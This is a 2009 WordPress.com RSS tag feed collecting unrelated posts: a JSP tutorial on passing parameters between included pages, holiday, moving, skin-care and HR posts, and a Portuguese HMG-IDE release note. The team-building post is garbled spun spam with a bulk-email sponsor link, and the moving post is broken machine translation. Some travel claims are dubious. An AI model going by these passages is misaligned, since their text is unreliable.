<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>include &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://en.wordpress.com/tag/include/</link>
	<description>Feed of posts on WordPress.com tagged "include"</description>
	<pubDate>Mon, 30 Nov 2009 14:19:39 +0000</pubDate>

	<generator>http://en.wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[Passing parameters to another JSP]]></title>
<link>http://sulabhjain.wordpress.com/2009/11/29/calling-new-jsp/</link>
<pubDate>Sun, 29 Nov 2009 21:06:34 +0000</pubDate>
<dc:creator>sulabhjain</dc:creator>
<guid>http://sulabhjain.wordpress.com/2009/11/29/calling-new-jsp/</guid>
<description><![CDATA[Since past few days, I was working on some Java Server Pages, which are linked with each other. Many]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><span style="color:#008080;">Since past few days, I was working on some Java Server Pages, which are linked with each other. Many times I have to include some JSPs in one JSP. While doing so, I need to call the variables defined in one JSP, in those JSP&#8217;s which are included one. I thus have to pass these parameters from one JSP to another at the time of Including those.<br />
</span></p>
<p><span style="color:#008080;">I searched for the solutions, and found many different ways of doing so.<br />
</span></p>
<p><span style="color:#008080;">For including another JSP into a JSP I used the following command in FirstJSP.jsp</span></p>
<p><span style="color:#666699;">&#60;jsp:include page=&#8221;SecondJSP.jsp&#8221;/&#62;</span></p>
<p><span style="color:#008080;">I searched for it and found many different ways of doing so.</span></p>
<h2><span style="color:#333399;"><strong>1. JSP:Param</strong></span></h2>
<p><span style="color:#666699;">&#60;jsp:include page=</span><span style="color:#666699;"><em>&#8220;SecondJSP.jsp&#8221;</em></span><span style="color:#666699;"> /&#62;</span></p>
<p><span style="color:#666699;"> &#60;jsp:param name=</span><span style="color:#666699;"><em>&#8220;name&#8221;</em></span><span style="color:#666699;"> value=</span><span style="color:#666699;"><em>&#8220;Sulabh Jain&#8221;</em></span><span style="color:#666699;"> /&#62;</span></p>
<p><span style="color:#666699;"> &#60;jsp:param name=</span><span style="color:#666699;"><em>&#8220;age&#8221;</em></span><span style="color:#666699;"> value=</span><span style="color:#666699;"><em>&#8220;24&#8243;</em></span><span style="color:#666699;"> /&#62;</span></p>
<p><span style="color:#666699;">&#60;/jsp:include&#62;</span></p>
<p><span style="color:#008080;">The above code will help in setting the values of param1 and param2 as value1 and value2</span></p>
<p><span style="color:#008080;"> which can be called or retrieved in SecondJSP.jsp using,</span></p>
<p><span style="color:#666699;">&#60;% </span></p>
<p><span style="color:#666699;">String myName= request.getParameter(&#8220;name&#8221;)</span></p>
<p><span style="color:#666699;">String myAge= request.getParameter(&#8220;age&#8221;) </span></p>
<p><span style="color:#666699;">%&#62;</span></p>
<p><span style="color:#008080;">These can be printed in JSP using &#8216;equals to&#8217; sign (=) with percentage tags,</span></p>
<p><span style="color:#666699;">My Name  is &#60;%=myName%&#62;<br />
My   Age    is &#60;%=myAge%&#62;</span></p>
<h2><span style="color:#333399;">2. JSP:Forward</span></h2>
<p><span style="color:#008080;">It also behaves similar to jsp:param</span></p>
<p><span style="color:#666699;">&#60;jsp: forward page=&#8221;SecondJSP.jsp&#8221;&#62;<br />
&#60;jsp: param name=&#8221;name&#8221; value=&#8221;Amar Patel&#8221;/&#62;<br />
&#60;jsp: param name=&#8221;age&#8221; value=&#8221;15&#8243;/&#62;<br />
&#60;/jsp: forward&#62;</span></p>
<h3><span style="color:#333399;">Limitations of above two methods :</span></h3>
<p><span style="color:#008080;"><br />
This method of passing parameters can be used only for Static variables. For eg.<br />
if we have a dynamic variable declared in JSP we cannot pass it using jsp:param</span></p>
<p><span style="color:#008080;">Here it got little difficult,</span></p>
<p><span style="color:#008080;">Now I need to pass dynamic variables which I defined in the first JSP.<br />
The third method provides solution to it.</span></p>
<h2><span style="color:#333399;">3. request.setAttribute</span></h2>
<p><span style="color:#008080;">Here we will use an object of javax.servlet.http.HttpServletRequest class named as request.<br />
calling the public abstract void setAttribute(java.lang.String name, java.lang.Object o) method we can set the String name as an attribute.</span></p>
<p><span style="color:#666699;">&#60;% </span></p>
<p><span style="color:#666699;"> String name = &#8220;Sulabh Jain&#8221;; </span></p>
<p><span style="color:#666699;"> request.setAttribute(&#8220;myName&#8221;, name);</span></p>
<p><span style="color:#666699;"> %&#62;</span></p>
<p><span style="color:#008080;">Now we can easily get in in SecondJSP as</span></p>
<p><span style="color:#666699;">&#60;%</span></p>
<p><span style="color:#666699;"> String nameInNewJSP = request.getAttribute(&#8220;myName&#8221;).toString();</span></p>
<p><span style="color:#666699;">%&#62;<br />
</span></p>
<p><span style="color:#008080;">toString is used here to convert the object into string.</span></p>
<p><span style="color:#993300;">References: </span></p>
<p><span style="color:#993300;"><span style="color:#000000;">1. Passing parameters, </span></span><a title="eZdia content" href="http://www.ezdia.com/Passing_parameters_to_JSP_using_jsp%3Aparam/Content.do?id=968" target="_blank">http://www.ezdia.com/Passing_parameters_to_JSP_using_jsp%3Aparam/Content.do?id=968</a></p>
<p>2. Calling a new JSP, <a title="eZdia content" href="http://www.ezdia.com/Calling_a_new_JSP/Content.do?id=969" target="_blank">http://www.ezdia.com/Calling_a_new_JSP/Content.do?id=969</a></p>
<p>3. JSP exercises, <a title="eZdia content" href="http://www.ezdia.com/JSP_Exercises/Content.do?id=806" target="_blank">http://www.ezdia.com/JSP_Exercises/Content.do?id=806</a></p>
<p><strong><span style="color:#008080;">Please post your comments, on the above provided code, and suggest if there exists better or more options.</span></strong></p>
<p><span style="color:#008080;">Thanks</span></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Holiday Bookings for 2008 From Ireland to Overseas Destinations]]></title>
<link>http://coolboy1506.wordpress.com/2009/11/27/holiday-bookings-for-2008-from-ireland-to-overseas-destinations/</link>
<pubDate>Fri, 27 Nov 2009 19:00:15 +0000</pubDate>
<dc:creator>coolboy1506</dc:creator>
<guid>http://coolboy1506.wordpress.com/2009/11/27/holiday-bookings-for-2008-from-ireland-to-overseas-destinations/</guid>
<description><![CDATA[Ireland residents are already booking their holiday spots for 2008. They are seeking out places such]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Ireland residents are already booking their holiday spots for 2008. They are seeking out places such as Majorca and Menorca in the Balearic Islands, the Canary Islands, and other places located across the Mediterranean, as well as South America. It seems that with unreliable weather conditions in Ireland during the summer months, residents would prefer to go out of the country for their holidays.</p>
<p>No More Weather Worries</p>
<p>When weather conditions made a turn for the worse in the summer of 2007, many Irish residents tried to book holidays to different locations overseas. Because many of the package deals were already booked, however, they were stuck at home. So that won&#8217;t happen again, they are booking their holidays early for peace of mind. Now they have better choices of accommodation, along with guaranteed flights.</p>
<p>Holiday Hot Spots for the Irish</p>
<p>Most Ireland residents are also very concerned when it comes to environmental issues. For this reason, they are choosing holiday destinations that are eco-friendly and also offer kids options for having fun. To this end, the hot spots that are being booked early this year include:</p>
<p>Madagascar &#8211; This destination proves a favorite among kids! The wildlife is unmatched in any other place in the world. Madagascar teems with unusual plant life that is a wonder to behold. You can go whitewater rafting down obscure rivers, stroll sandy white beaches, trek up mountains, and even spelunk through caves infested with crocodiles.</p>
<p>Guatemala &#8211; This country has more than 19 different ecosystems that are sometimes separated only by small rivers. Guatemala has its own unique varieties of flora and fauna, as well, which are a sight to see. Because of its diversity, Guatemala offers many opportunities for outdoor adventures, including:</p>
<p>* Fishing<br />
* Caving<br />
* Horseback Riding<br />
* Hang Gliding<br />
* Mountain Trekking<br />
* Volcano Climbing<br />
* Bird-watching<br />
* Pilgrimages<br />
* Bicycling<br />
* Rafting<br />
* Diving</p>
<p>Nicaragua &#8211; This destination has it all. It can please any traveler in one way or another. Activities include fishing, wildlife viewing, snorkeling, and many other outdoor adventures. You may even catch a glimpse of some fresh-water sharks. Landmarks include Isla de Ometepe, an active volcano that last erupted in 1957, the main plaza, and caves filled with over 20,000 bats. Plenty of adventure can be found in Nicaragua.</p>
<p>Honduras &#8211; Places to visit in Honduras include Pulhapanzak Falls, which is 43 meters high. If you check out the ruins of Copan, you can learn about King Great Sun Lord Quetzal Macaw, who ruled Honduras from AD 426 to 435. Other popular places to visit in Honduras include Lago de Yojoa, the largest lake in Honduras, as well as Iglesia de los Delores, which is a huge white church featuring pieces of religious art on the inside of the building.</p>
<p>Colombia &#8211; Also on the list of hot places to travel this summer is Colombia, the only South American country with coasts on both the Pacific Ocean and the Caribbean. You will find marvelous beaches, grand colonial cities, and many archaeological treasures to keep you in awe. </p>
<p>The capital of Colombia is Bogota, a city rich with history and culture, including old cities and beautiful churches. Cartagena, a fortress to keep pirates away in the old days, is now a place to go for nightlife entertainment. Isla Gorgona was once a prison, and now tourists are welcomed to view the ruins. You will also see scores of monkeys, snakes, whales, and other wildlife while you are visiting the prison. This especially intrigues the kids!</p>
<p>If Ireland&#8217;s summer weather conditions prompt travel urges, the winter weather on the opposite side of the world might prove to be just the right ticket.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Very functional flat]]></title>
<link>http://issacassimov.wordpress.com/2009/11/25/very-functional-flat/</link>
<pubDate>Wed, 25 Nov 2009 15:29:05 +0000</pubDate>
<dc:creator>assimow</dc:creator>
<guid>http://issacassimov.wordpress.com/2009/11/25/very-functional-flat/</guid>
<description><![CDATA[In the life of many persons moves are happening. A resulting one&#8217;s situation in life requires ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>In the life of many persons moves are happening. A resulting one&#8217;s situation in life requires it for example from the fact of the need to leave the flat or the chance presenting itself of the change of present not very functional flat for bigger, and maybe cheaper, or put more close places of employment. Many persons are also changing a place of abode moving from busy and full of noise and pollutants large cities into quiet and sheltered surroundings, more close the nature to houses built on own plots. However moves aren&#8217;t a simple thing, it is necessary to transfer the all of its possessions, furniture, the equipment and everything what for many years was collected in the flat sometimes. When the distance of the baulk is a new but old flat enough big, transporting everything can take quite a lot of time and the lack additionally is making it difficult for the organization and he is extending this activity. So taking advantage of services of doing companies will be a big help with moves. Services provided by these companies include a wide range, it is possible to use advice how to set about packing, so that</p>
<p style="text-align:center;"><img class="aligncenter size-full wp-image-23" title="1204276_79348112" src="http://issacassimov.wordpress.com/files/2009/11/1204276_79348112.jpg" alt="" width="300" height="225" /></p>
<p>everything efficiently runs, it is possible to lend cartons, packages or the entire set for packing, to rent the appropriate car as well as to set the date convenient for oneself of transporting. Moves with the participation of shipping companies are being provided for private persons, enterprises, furniture stores, they also include international moves. Companies have rich experience purchased in this scope with carrying out of the bulk instructions. They have the appropriate essential measure of every move that is cartons moreover for packing, securing materials, letting transport protective foils, cars of different type appropriately is eating objects of all kinds protecting with the help of protective blanket parties, belts and fixing tapes. An embrace is an additional advantage with insuring possessions during the service carried out. Companies are employing many special in this scope of workers, so significantly a time of the move is reducing, what costs connected with it are lowering by.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Benefits of a Good Old Team Building Event]]></title>
<link>http://myteambuilding.wordpress.com/2009/11/24/the-benefits-of-a-good-old-team-building-event/</link>
<pubDate>Tue, 24 Nov 2009 10:42:36 +0000</pubDate>
<dc:creator>jsanders08</dc:creator>
<guid>http://myteambuilding.wordpress.com/2009/11/24/the-benefits-of-a-good-old-team-building-event/</guid>
<description><![CDATA[sponsors site &#8211; bulk email newsletter services. It&#8217;s garden that at this platform of yea]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>sponsors site &#8211; <a href='http://www.newsletter.pro/'>bulk email newsletter services</a>.</p>
<p>It&#8217;s garden that at this platform of  year staff morale may be low as  dark November nights and cold winter mornings engage their toll.</p>
<p>The develop  to Christmas can be a stressful time due to the fact that many, especially during a rrecession. Parents on numerous occasions feel like they need to get ready for the very  for their Chilldren which means that they may need  make cuts  other areas.  may then bring this &#8217;stress&#8217; into the workplace which may impact on their auxiliary colleeagues. Other help may be reflecting on the dead and buried year and looking forward to the next &#8211; the last few months of the year till the end of time seem to drag. As soon as the clocks go back an hour and the evening begin to get darker earlier and earlier, this is when the days uncommonly drag!</p>
<p>Company Direectors and Officce Managers could take this opportunity  boost staaff disposition with a merrymaking -building event &#8211;  try to manage the last couple of months fun and uplifting, so that their staff begin the next year with  thorough attitude.</p>
<p>Team Building events will bring your staff together and get colleagues who may not have previously spoken chatting between themselves. Then, when they carry back to include they require drink something to reject abouut!</p>
<p>Some conspire edifice evvents can be really affordable and if you pick out a good events assemblage to organise your office&#8217;s daytime inaccurate you compel be able to tailor your event  satisfy your companny.
<p> people may groaan at the prospect of a &#8216;team end&#8217; as  conjure up images of being really embarrassed in front of their colleagues &#8211; but unless you get a really annoying boss who want to style you feel giddy, they don&#8217;t include to be like this.</p>
<p>Events can include riches hunts, spy missions or paintballing sessions &#8211; they can be as working  you like, depending on the workforce.  events will put staff working together ussing crucial team skills which they could then down a bear into the backup &#8211; they assorted even behold another side  a collleague  in days gone by didn&#8217;t get alongg with.
<p>Alternatively why not all just batter the pub on a Friday lunch time and thrive everyone together in a relaxing ecosystem!</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[For questions PHR certification include Transforming Your HR function for use on the Web]]></title>
<link>http://knowledgemanagementarticles.wordpress.com/2009/11/19/for-questions-phr-certification-include-transforming-your-hr-function-for-use-on-the-web/</link>
<pubDate>Thu, 19 Nov 2009 01:46:43 +0000</pubDate>
<dc:creator>harry5599</dc:creator>
<guid>http://knowledgemanagementarticles.wordpress.com/2009/11/19/for-questions-phr-certification-include-transforming-your-hr-function-for-use-on-the-web/</guid>
<description><![CDATA[The professional examination in the field of human resource management and the Senior Professional i]]></description>
<content:encoded><![CDATA[The professional examination in the field of human resource management and the Senior Professional i]]></content:encoded>
</item>
<item>
<title><![CDATA[Amnesty International Pushes &quot;Gay Marriage&quot; Down Under]]></title>
<link>http://pbaptist.wordpress.com/2009/11/14/amnesty-international-pushes-gay-marriage-down-under/</link>
<pubDate>Fri, 13 Nov 2009 22:00:53 +0000</pubDate>
<dc:creator>Particular Kev</dc:creator>
<guid>http://pbaptist.wordpress.com/2009/11/14/amnesty-international-pushes-gay-marriage-down-under/</guid>
<description><![CDATA[By Piero A. Tozzi WASHINGTON, D.C., November 12, 2009 (LifeSiteNews.com) &#8211; Activist organizati]]></description>
<content:encoded><![CDATA[By Piero A. Tozzi WASHINGTON, D.C., November 12, 2009 (LifeSiteNews.com) &#8211; Activist organizati]]></content:encoded>
</item>
<item>
<title><![CDATA[Real skin care beyond beauty treatments]]></title>
<link>http://greenday2406.wordpress.com/2009/11/11/real-skin-care-beyond-beauty-treatments/</link>
<pubDate>Wed, 11 Nov 2009 23:21:31 +0000</pubDate>
<dc:creator>greenday2406</dc:creator>
<guid>http://greenday2406.wordpress.com/2009/11/11/real-skin-care-beyond-beauty-treatments/</guid>
<description><![CDATA[The skin is perhaps is the most pampered part of the human body, a least, for most women. From soaps]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>The skin is perhaps is the most pampered part of the human body, a least, for most women. From soaps to lotions to whole body scrubs &#8212; women spend thousands of dollars each year just to achieve that smooth, clear, flawless look. They want smoother skin and finer pores. Even if they have to spend a fortune, these women repeatedly go to their favorite salons to get rid of their dark spots, acne scars, and fine lines. Some try all the latest skin treatments hoping that the next one would really make them look whiter and rosier. </p>
<p>While most women visit their dermatologist for purely aesthetic reasons, there is quite a number of women who need medical care for their skin. Skin infections account for many of the visits of women to the local dermatologist. </p>
<p>But what is a skin infection?</p>
<p>A skin infection is an invasion and growth of pathogenic microscopic organisms. The infecting organism or pathogen interferes with the normal functions of the skin. Skin infections can be divided into following classes or types based on the source of infection:</p>
<p>l	Fungal &#8211; Common types of fungal infection include tineal versicolor, yeast infection, ringworm, jock itch, and athlete&#8217;s foot.</p>
<p>l	Bacterial &#8211; Bacterial infections include folliculitis, furunculosis, impetigo, erysipelas, hidradenitis suppurativa, Rocky Mountain Spotted Fever, cuts, scrapes, etc.</p>
<p>l	Viral &#8211; Common viral infections include chicken pox and measles.</p>
<p>Non-pathogenic organisms that normally live on the surface of healthy skin can become pathogenic under certain conditions. Any one who has a break in the skin is at risk of getting a skin infection. Diabetic people are also at greater risk of infection since the poor blood flow to the skin does not allow for faster healing of wounds. Skin damaged by scratching and sunburn can also be exploited by organisms that are actively searching for a host. </p>
<p>It is also important to have information about the microscopic particles that actually cause the infection. </p>
<p>l	Virus- a submicroscopic particle consisting of a core of nucleic acid surrounded by protein that can grow and reproduce by infecting other organisms. </p>
<p>l	Bacteria </p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HMG-IDE 3.0.0 test XI e]]></title>
<link>http://hmglights.wordpress.com/2009/11/08/hmg-ide-3-0-0-test-xi-e/</link>
<pubDate>Sat, 07 Nov 2009 18:31:19 +0000</pubDate>
<dc:creator>Paulo  Sérgio D.</dc:creator>
<guid>http://hmglights.wordpress.com/2009/11/08/hmg-ide-3-0-0-test-xi-e/</guid>
<description><![CDATA[Olá meus amigos, Não se assustem com o tamanho do titulo do nosso post, mas é verdade, a nossa HMG-I]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="aligncenter size-full wp-image-367" title="hmg" src="http://hmglights.wordpress.com/files/2009/11/hmg.gif" alt="hmg" width="120" height="120" /></p>
<p>Olá meus amigos,</p>
<p>Não se assustem com o tamanho do titulo do nosso post, mas é verdade, a nossa HMG-IDE esta na versão 3.0.0 test XI release “e”.</p>
<p>E nós da HmgLights viemos mais uma vez detalhar as novidades desta versão. Eu tenho certeza que depois de lerem este post, vocês terão claramente a visão de como a HMG tem evoluído nestes últimos tempos. Veja os detalhes e mais a diante a explicação de cada um.</p>
<p><span style="color:#0000ff;"><strong>HMG-IDE</strong></span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;">1-) Adicionado, tradução da HMG para o Português do Brasil.</span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;">2-) Adicionada, função “Copy target To:”.</span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;">3-) Adicionada, função que cria um PRG para um evento de qualquer objeto.</span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;">4-) Adicionadas mais duas abas em “Project Browse” (Include e Config).</span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;">5-) Adicionada função “HMG Reference” no menu “Help”.</span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;">6-) Adicionada função “Wizard Report Builder” para relatórios criados.</span></p>
<p><span style="color:#0000ff;"><strong>HMG</strong></span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;">1-) Novos arquivos de “RESOURCES” baseados no KDE Crystal Diamond.</span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;">2-) Mensagens da HMG agora com Português correto.</span></p>
<p style="padding-left:30px;">
<p>Bom, agora vamos explicar todas as mudanças citadas acima, passo a passo.</p>
<p><strong><span style="color:#0000ff;">HMG-IDE</span></strong></p>
<p style="padding-left:30px;"><span style="color:#ff0000;"><strong>1-) Adicionado, tradução da HMG para o Português do Brasil.</strong></span></p>
<p style="padding-left:60px;"><span style="color:#008000;">No dia 30 de Outubro de 2009, ás 17:15, o Roberto Lopez, postou um novo release para a HMG-IDE 3.0.0, no qual, dentre outras funções, permite a utilização de arquivos de idiomas pela IDE, fazendo assim com que a IDE possa ser traduzida para vários idiomas. E nós da HMGLights não perdemos tempo&#8230; Começamos a tradução para portugues do brasil no mesmo dia e horas mais tarde, no fórum, postamos a tradução e o Roberto Lopez adicionou a mesma na distribuição oficial da HMG-IDE. Ficamos muito felizes por estarmos contribuindo com este maravilhoso projeto e também por ajudar aquelas pessoas que se perdem um pouco com a IDE em inglês a mergulhar de cabeça no universo HMG. Então, a meu ver, esta primeira novidade já é bastante interessante, pois agora nós poderemos utilizar a IDE no idioma que mais nos agradar. Pois também não fomos os únicos a postar arquivos de internacionalição para a HMG ide. Outros grandes contribuidores postaram arquivos para o polonês e turco dentre outros.</span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;"><strong>2-) Adicionada, função “Copy target To:”.</strong></span></p>
<p style="padding-left:60px;"><span style="color:#008000;">Esta também é sem duvida uma excelente função. Com esta função nós poderemos especificar um outro diretório para que o nosso projeto, quando recompilado, seja movido o executável para a pasta em questão. Ex:</span></p>
<p style="padding-left:60px;"><span style="color:#808080;">“Copy target to: C:\Teste\”</span></p>
<p style="padding-left:60px;"><span style="color:#008000;">Neste exemplo, toda vez que eu recompilar meu projeto, o executável gerado será movido automaticamente para a pasta “TESTE”, localizada no meu “C:”. Isso ajuda muito na hora de separarmos os arquivos de nossa aplicação do código fonte.</span></p>
<p style="padding-left:60px;"><span style="color:#008000;">Esta função também aceita nomes com espaços para o “target”. Mas para que funcione você deve inserir o caminho que deseja entre aspas duplas. Por favor lembrem-se disso: Ao adicionar um &#8220;Path&#8221; no campo &#8220;Copy target to:&#8221; (com ou sem espaços no nome),  SEMPRE terminem o mesmo com barra (&#8220;\&#8221;)<br />
</span></p>
<p style="padding-left:60px;"><span style="color:#008000;">Ex:<span style="color:#808080;"> Copy target to: “C:\Arquivos de Programas\teste 2\teste\”</span></span></p>
<p style="padding-left:60px;"><span style="color:#008000;">Simples, fácil, rápido e muito útil.</span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;"><strong>3-) Adicionada, função que cria um PRG para um evento de qualquer objeto.</strong></span></p>
<p style="padding-left:60px;"><span style="color:#008000;">A janela “Object Inspector” também sofreu mudanças, veja a figura abaixo.</span></p>
<p style="padding-left:60px;"><span style="color:#008000;">Agora ao selecionarmos um objeto, na aba “Events”, você verá alem de “Event, value” um sinal de “+”, de “-“ e de “&#8230;”. Ao clicar no sinal de “+”, será sugerido um nome para o PRG que será criado para esta ação. Ou seja, ao clicar no sinal de “+”, você poderá criar uma função que será automaticamente vinculada à ação “dona” do sinal “+” que você clicou. O nome sugerido inicialmente sempre será FORM_OBJETO_EVENT, mas você poderá mudar isso da maneira que lhe convier. Lembrando sempre que esta nova função é opcional e o modo antigo ainda continua funcionando muito bem. Clicando no sinal de “-“ você remove a ação criada juntamente com o PRG. Ambos serão removidos do projeto caso seja lecionado o sinal de “-“. Clicando no sinal de reticências “&#8230;”, você poderá editar o PRG que contem a função definida na ação. Ou seja, podemos perceber que a cada novo release a HMG e a HMG-IDE estão evoluindo muito bem.</span></p>
<p style="padding-left:60px;"><span style="color:#008000;"><img class="aligncenter size-full wp-image-368" title="Obj_Inspector" src="http://hmglights.wordpress.com/files/2009/11/obj_inspector.jpg" alt="Obj_Inspector" width="280" height="346" /><br />
</span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;"><strong>4-) Adicionadas mais duas abas em “Project Browse” (Include e Config).</strong></span></p>
<p style="padding-left:60px;"><span style="color:#008000;">O project browse ficou mais completo ao ganhar essas duas abas. Veja as figuras abaixo:</span></p>
<p style="padding-left:60px;"><span style="color:#008000;">Na aba &#8220;Configuration&#8221; você poderá definir a configuração do seu projeto. Isso é individual e poderá ser configurado de forma individual para cada projeto gerado com a HMG IDE. Ou seja, se você, a partir desta versão, adicionar, um Path para includes, libs, e nomes de outras libs para um projeto, eles não serão utilizados para outros projetos como default. Isso torna muito mais usual a programação com HMG-IDE, pois nós sabemos que uma lib que poderá ser usada em um projeto, talvez não seja interessante em outro. Alem disso, na aba “Config”, você poderá também definir se o projeto será com modo “Console”, e ainda se deseja compilar o mesmo com suporte a multi-tarefa. Alem de poder definir os “Paths” para suas libs e includes, bem como os nomes das LIB que se deseja usar e ainda definir o assunto comentado no item 2 (“Copy Target To:”). Para usufruir destas configuração basta clicar duas vezes em cima dos itens.</span></p>
<p style="padding-left:60px;"><span style="color:#008000;"><img class="aligncenter size-full wp-image-370" title="Configuration" src="http://hmglights.wordpress.com/files/2009/11/configuration.jpg" alt="Configuration" width="282" height="240" /><br />
</span></p>
<p style="padding-left:60px;"><span style="color:#008000;">A aba &#8220;Include&#8221; irá conter todos os includes criados a partir da opção no menu &#8220;Project-&#62;New Include&#8221;, ao fazer isso será aberto o seu editor de textos para que você possa escrever, ou adicionar o seu &#8220;include&#8221; personalizado ao seu projeto. Essa opção tambem é individual para cada projeto.<br />
</span></p>
<p style="padding-left:60px;"><span style="color:#008000;"><img class="aligncenter size-full wp-image-369" title="include" src="http://hmglights.wordpress.com/files/2009/11/include.jpg" alt="include" width="280" height="241" /><br />
</span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;"><strong>5-) Adicionada função “HMG Reference” no menu “Help”.</strong></span></p>
<p style="padding-left:60px;"><span style="color:#008000;">O menu “Help” ganhou mais um item o “HMG Reference”, ao clicar neste botão o seu navegador padrão será iniciado com a documentação da HMG, que agora vem como padrão junto na distribuição oficial (C:\hmg\DOC). Ou seja, se você esta no meio de uma programação, e bateu aquela dúvida de como um objeto funciona, ou qual os eventos/metodos dele, basta clicar neste item e ler a documentação.</span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;"><strong>6-) Adicionada função “Wizard Report Builder” para relatórios criados.</strong></span></p>
<p style="padding-left:60px;"><span style="color:#008000;">A partir desta versão da HMG-IDE, todos o relatórios gerados com o gerador de relatórios poderão ser abertos pelo “Wizard” por defaul. Antigamente, quando criávamos algum relatório com o novo gerador de relatórios da HMG-IDE, ao clicarmos sobre o mesmo na aba “Report” do “Project Browse”, o mesmo era aberto em formato de código fonte. Isso não acontece mais com esta versão da HMG-IDE. Mas lembrem-se, apenas os relatórios criados a partir desta versão poderão ser abertos pelo wizard.</span></p>
<p><strong><span style="color:#0000ff;">HMG</span></strong></p>
<p style="padding-left:30px;"><span style="color:#ff0000;"><strong>1-) Novos arquivos de “RESOURCES” baseados no KDE Crystal Diamond.</strong></span></p>
<p style="padding-left:60px;"><span style="color:#008000;">Bom, conversando outro dia no fórum com o grande Roberto Lopez, nós sugerimos a ele uma mudança nos arquivos de “RESOURCES” da HMG, e ele me disse que “novos ícones para o resources são bem vindos”, então após converter algum ícones do pacote KDE Crystal Diamond, eu publiquei no fórum e ele gostou. O Roberto Lopez fez alguns ajustes nos resources que eu postei e adicionou estes na distribuição oficial, agora a HMG conta com várias imagens, ícones, e cursores mais modernos. Veja a figura abaixo:</span></p>
<p style="padding-left:60px;"><span style="color:#008000;"><img class="aligncenter size-full wp-image-371" title="RESOURCES" src="http://hmglights.wordpress.com/files/2009/11/resources.jpg" alt="RESOURCES" width="800" height="596" /><br />
</span></p>
<p style="padding-left:30px;"><span style="color:#ff0000;"><strong>2-) Mensagens da HMG agora com Português correto.</strong></span></p>
<p style="padding-left:60px;"><span style="color:#008000;">Já faz um bom tempo que as mensagens em outros idiomas (inclusive o português) da HMG eram traduzidas pelo google. E para usarmos as mensagens da HMG para o português correto tínhamos que modificar o código fonte da HMG e recompilar a mesma. Nós aqui do HMGLights também já postamos um tópico de como proceder para corrigir o português da HMG, mas isso não mais será necessário a partir desta versão da HMG. Pois o Roberto Lopez, também já adicionou na distribuição oficial a correção do idioma português do brasil. Uma grande contribuição do nosso grande colaborador “Salamandra”.</span></p>
<p>Bom, como vocês podem ver, a HMG vem evoluindo muito rápido, e tenho certeza de que podemos esperar muitas outras funcionalidades para as próximas versões. Fiquem atentos ao nosso blog, pois nós iremos documentar cada passo rumo a evolução da HMG e tudo será documentado aqui.</p>
<p>Um grande abraço a todos e até o próximo post.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[NS-001-10-09 *** moded "white as milk" CSS Layout *** by KOE FTE BLN]]></title>
<link>http://changesstyle.wordpress.com/2009/10/30/ns-001-10-09/</link>
<pubDate>Fri, 30 Oct 2009 11:33:24 +0000</pubDate>
<dc:creator>koeftebln</dc:creator>
<guid>http://changesstyle.wordpress.com/2009/10/30/ns-001-10-09/</guid>
<description><![CDATA[NS-001-10-09 *** moded &#8220;white as milk&#8221; CSS Layout *** by KOE FTE BLN &nbsp; wordpress in]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>NS-001-10-09 *** moded &#8220;white as milk&#8221; CSS Layout *** by KOE FTE BLN</p>
<p>&#160;</p>
<p>wordpress included with php to own domain with mode after load.</p>
<p><a href="styles/ns-001-10-09.css">view CSS file</a></p>
<p>cheers!</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Japan Urges ASEAN to Include US]]></title>
<link>http://japanheadlines.wordpress.com/2009/10/24/japan-urges-asean-to-include-us/</link>
<pubDate>Sat, 24 Oct 2009 19:29:52 +0000</pubDate>
<dc:creator>wnewsfeed6061</dc:creator>
<guid>http://japanheadlines.wordpress.com/2009/10/24/japan-urges-asean-to-include-us/</guid>
<description><![CDATA[During meetings of ASEAN in Thailand Japan&#8217;s PM says economic bloc should be an open organizat]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>During meetings of ASEAN in Thailand Japan&#8217;s PM says economic bloc should be an open organization&#8230; From VOA. <a href="http://www.voanews.com/english/2009-10-24-voa10.cfm?rss=politics">Full story</a></p>
<p>This site may contain information about:  japan government.  The blog is also related to: japan travel.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Employee Orientation]]></title>
<link>http://asifjmir.wordpress.com/2009/10/24/employee-orientation/</link>
<pubDate>Sat, 24 Oct 2009 02:51:10 +0000</pubDate>
<dc:creator>Asif Mir</dc:creator>
<guid>http://asifjmir.wordpress.com/2009/10/24/employee-orientation/</guid>
<description><![CDATA[Employee orientation provides new employees with the basic background information required to perfor]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Employee orientation provides new employees with the basic background information required to perform their jobs satisfactorily, such as information about company rules. Programs may range from brief, informal introductions to lengthy, formal courses.</p>
